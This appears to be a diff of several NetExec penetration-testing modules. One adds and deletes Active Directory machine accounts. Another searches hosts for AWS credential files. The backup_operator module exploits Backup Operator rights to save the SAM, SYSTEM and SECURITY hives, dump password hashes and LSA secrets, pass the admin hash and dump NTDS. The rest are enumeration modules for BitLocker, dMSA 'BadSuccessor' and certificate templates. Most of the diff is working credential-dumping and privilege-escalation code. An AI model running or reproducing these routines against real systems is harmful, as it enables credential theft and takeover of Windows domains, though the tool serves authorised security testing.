ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
|
||||
c.bind()
|
||||
|
||||
sAMAccountName = self.__computerName
|
||||
name = self.__computerName.rstrip("$")
|
||||
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
|
||||
else:
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
|
||||
else:
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{name}.{self.connection.domain}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{name}.{self.connection.domain}",
|
||||
]
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
f"cn={name},cn=Computers,{ldap_domain}",
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
{
|
||||
"dnsHostName": f"{name}.{self.connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": sAMAccountName,
|
||||
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
|
||||
}
|
||||
)
|
||||
if result:
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
|
||||
self.context.log.highlight("You can try to verify this with the nxc command:")
|
||||
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
@@ -0,0 +1,50 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Search for aws credentials files on linux and windows machines
|
||||
|
||||
Module by Fortress
|
||||
"""
|
||||
|
||||
name = "aws-credentials"
|
||||
description = "Search for aws credentials files."
|
||||
supported_protocols = ["ssh", "smb", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.search_path_linux = "'/home/' '/tmp/'"
|
||||
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
|
||||
Default: "'/home/' '/tmp/'"
|
||||
|
||||
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
|
||||
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
"""
|
||||
if "SEARCH_PATH_LINUX" in module_options:
|
||||
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
|
||||
|
||||
if "SEARCH_PATH_WIN" in module_options:
|
||||
self.search_path_win = module_options["SEARCH_PATH_WIN"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# search for aws_credentials-related files on linux systems
|
||||
if "ssh" in context.protocol:
|
||||
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
|
||||
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd)
|
||||
else:
|
||||
# search for aws_credentials-related files on windows systems
|
||||
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
|
||||
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
|
||||
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd_win, True)
|
||||
|
||||
if output:
|
||||
context.log.success("The following files were found:")
|
||||
for line in output.splitlines():
|
||||
context.log.highlight(line.rstrip())
|
||||
@@ -0,0 +1,127 @@
|
||||
import contextlib
|
||||
from time import sleep
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
connection.trigger_winreg()
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved {hive} to {outputFileName}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
sleep(0.2)
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
key_name.split("\\")[0]
|
||||
sub_key = "\\".join(key_name.split("\\")[1:])
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
h_root_key = ans["phKey"]
|
||||
return h_root_key, sub_key
|
||||
@@ -0,0 +1,216 @@
|
||||
from impacket.ldap import ldaptypes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
RELEVANT_OBJECT_TYPES = {
|
||||
"00000000-0000-0000-0000-000000000000": "All Objects",
|
||||
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
|
||||
}
|
||||
|
||||
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
|
||||
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
|
||||
|
||||
# Define all access rights
|
||||
ACCESS_RIGHTS = {
|
||||
# Generic Rights
|
||||
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
|
||||
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
|
||||
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
|
||||
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
|
||||
|
||||
# Maximum Allowed access type
|
||||
"MaximumAllowed": 0x02000000,
|
||||
|
||||
# Access System Acl access type
|
||||
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
|
||||
|
||||
# Standard access types
|
||||
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
|
||||
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
|
||||
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
|
||||
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
|
||||
"Delete": 0x00010000, # ADS_RIGHT_DELETE
|
||||
|
||||
# Specific rights
|
||||
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
|
||||
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
|
||||
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
|
||||
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
|
||||
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
|
||||
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
|
||||
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
|
||||
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
|
||||
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
|
||||
}
|
||||
|
||||
# Define which rights are considered relevant for potential abuse
|
||||
RELEVANT_RIGHTS = {
|
||||
"GenericAll": ACCESS_RIGHTS["GenericAll"],
|
||||
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
|
||||
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
|
||||
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
|
||||
"CreateChild": ACCESS_RIGHTS["CreateChild"],
|
||||
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
|
||||
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
|
||||
}
|
||||
|
||||
FUNCTIONAL_LEVELS = {
|
||||
"Windows 2000": 0,
|
||||
"Windows Server 2003": 1,
|
||||
"Windows Server 2003 R2": 2,
|
||||
"Windows Server 2008": 3,
|
||||
"Windows Server 2008 R2": 4,
|
||||
"Windows Server 2012": 5,
|
||||
"Windows Server 2012 R2": 6,
|
||||
"Windows Server 2016": 7,
|
||||
"Windows Server 2019": 8,
|
||||
"Windows Server 2022": 9,
|
||||
"Windows Server 2025": 10,
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
|
||||
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
|
||||
"""
|
||||
|
||||
name = "badsuccessor"
|
||||
description = "Check if vulnerable to bad successor attack (DMSA)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def is_excluded_sid(self, sid, domain_sid):
|
||||
if sid in EXCLUDED_SIDS:
|
||||
return True
|
||||
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
|
||||
|
||||
def get_domain_sid(self):
|
||||
"""Retrieve the domain SID from the domain object in LDAP"""
|
||||
r = self.connection.search(
|
||||
searchFilter="(objectClass=domain)",
|
||||
attributes=["objectSid"]
|
||||
)
|
||||
parsed = parse_result_attributes(r)
|
||||
if parsed and "objectSid" in parsed[0]:
|
||||
return parsed[0]["objectSid"]
|
||||
|
||||
def find_bad_successor_ous(self, entries):
|
||||
domain_sid = self.get_domain_sid()
|
||||
results = {}
|
||||
parsed = parse_result_attributes(entries)
|
||||
for entry in parsed:
|
||||
dn = entry["distinguishedName"]
|
||||
sd_data = entry["nTSecurityDescriptor"]
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
|
||||
|
||||
for ace in sd["Dacl"]["Data"]:
|
||||
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
|
||||
continue
|
||||
|
||||
has_relevant_right = False
|
||||
mask = int(ace["Ace"]["Mask"]["Mask"])
|
||||
for right_value in RELEVANT_RIGHTS.values():
|
||||
if mask & right_value:
|
||||
has_relevant_right = True
|
||||
break
|
||||
|
||||
if not has_relevant_right:
|
||||
continue # Skip this ACE if it doesn't have any relevant rights
|
||||
|
||||
object_type = getattr(ace, "ObjectType", None)
|
||||
if object_type:
|
||||
object_guid = ldaptypes.bin_to_string(object_type).lower()
|
||||
if object_guid not in RELEVANT_OBJECT_TYPES:
|
||||
continue
|
||||
|
||||
sid = ace["Ace"]["Sid"].formatCanonical()
|
||||
if self.is_excluded_sid(sid, domain_sid):
|
||||
continue
|
||||
|
||||
results.setdefault(sid, []).append(dn)
|
||||
|
||||
if hasattr(sd, "OwnerSid"):
|
||||
owner_sid = str(sd["OwnerSid"])
|
||||
if not self.is_excluded_sid(owner_sid, domain_sid):
|
||||
results.setdefault(owner_sid, []).append(dn)
|
||||
return results
|
||||
|
||||
def resolve_sid_to_name(self, sid):
|
||||
"""
|
||||
Resolves a SID to a samAccountName using LDAP
|
||||
|
||||
Args:
|
||||
----
|
||||
sid: The SID to resolve
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The samAccountName if found, otherwise the original SID
|
||||
"""
|
||||
try:
|
||||
search_filter = f"(objectSid={sid})"
|
||||
response = self.connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"]
|
||||
)
|
||||
|
||||
parsed = parse_result_attributes(response)
|
||||
if parsed and "sAMAccountName" in parsed[0]:
|
||||
return parsed[0]["sAMAccountName"]
|
||||
return sid
|
||||
except Exception:
|
||||
return sid
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.connection = connection
|
||||
|
||||
# Check for a domain controller with Windows Server 2025
|
||||
resp = self.connection.search(
|
||||
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
|
||||
attributes=["operatingSystem", "dNSHostName"]
|
||||
)
|
||||
parsed_resp = parse_result_attributes(resp)
|
||||
|
||||
for dc in parsed_resp:
|
||||
if "2025" in dc["operatingSystem"]:
|
||||
out = connection.resolver(dc["dNSHostName"])
|
||||
dc_ip = out["host"] if out else "Unknown IP"
|
||||
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
|
||||
else:
|
||||
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
|
||||
|
||||
# Enumerate dMSA objects
|
||||
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
|
||||
resp = self.connection.search(
|
||||
searchFilter="(objectClass=organizationalUnit)",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=controls
|
||||
)
|
||||
|
||||
context.log.debug(f"Found {len(resp)} entries")
|
||||
|
||||
results = self.find_bad_successor_ous(resp)
|
||||
|
||||
if results:
|
||||
context.log.success(f"Found {len(results)} results")
|
||||
else:
|
||||
context.log.highlight("No account found")
|
||||
|
||||
for sid, ous in results.items():
|
||||
samaccountname = self.resolve_sid_to_name(sid)
|
||||
|
||||
for ou in ous:
|
||||
if sid == samaccountname:
|
||||
context.log.highlight(f"{sid}, {ou}")
|
||||
else:
|
||||
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
|
||||
@@ -0,0 +1,141 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module made by: @NeffIsBack, @gatariee"""
|
||||
name = "certipy-find"
|
||||
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
VULN Show only vulnerable configurations (Default: True)
|
||||
ENABLED Show only enabled templates
|
||||
|
||||
Export options:
|
||||
TEXT Export results to a plain text file
|
||||
CSV Export results to a CSV file
|
||||
JSON Export results to a JSON file
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
|
||||
if "VULN" in module_options:
|
||||
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
|
||||
if "ENABLED" in module_options:
|
||||
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
|
||||
|
||||
# Export options
|
||||
if "JSON" in module_options:
|
||||
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
|
||||
if "CSV" in module_options:
|
||||
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
|
||||
if "TEXT" in module_options:
|
||||
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dns_server = connection.args.dns_server
|
||||
if not dns_server:
|
||||
try:
|
||||
# If connection.host is an IP, use it as DNS
|
||||
socket.inet_aton(connection.host)
|
||||
dns_server = connection.host
|
||||
except Exception:
|
||||
# Otherwise let DnsResolver use system resolver (None)
|
||||
dns_server = None
|
||||
|
||||
resolv = DnsResolver.create(dns_server)
|
||||
|
||||
# prefer connection.hostname if present, otherwise connection.host
|
||||
remote = (connection.hostname or connection.host) or ""
|
||||
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
|
||||
|
||||
target = Target(
|
||||
resolver=resolv,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=connection.remoteName,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
target_ip=connection.host,
|
||||
ldap_port=connection.port,
|
||||
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
|
||||
ldap_signing=connection.signing_required,
|
||||
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
|
||||
)
|
||||
|
||||
finder = Find(
|
||||
target=target,
|
||||
json=self.json,
|
||||
csv=self.csv,
|
||||
text=self.text,
|
||||
output_path=self.output_path,
|
||||
stdout=True,
|
||||
vulnerable=self.vuln,
|
||||
enabled=self.enabled,
|
||||
)
|
||||
|
||||
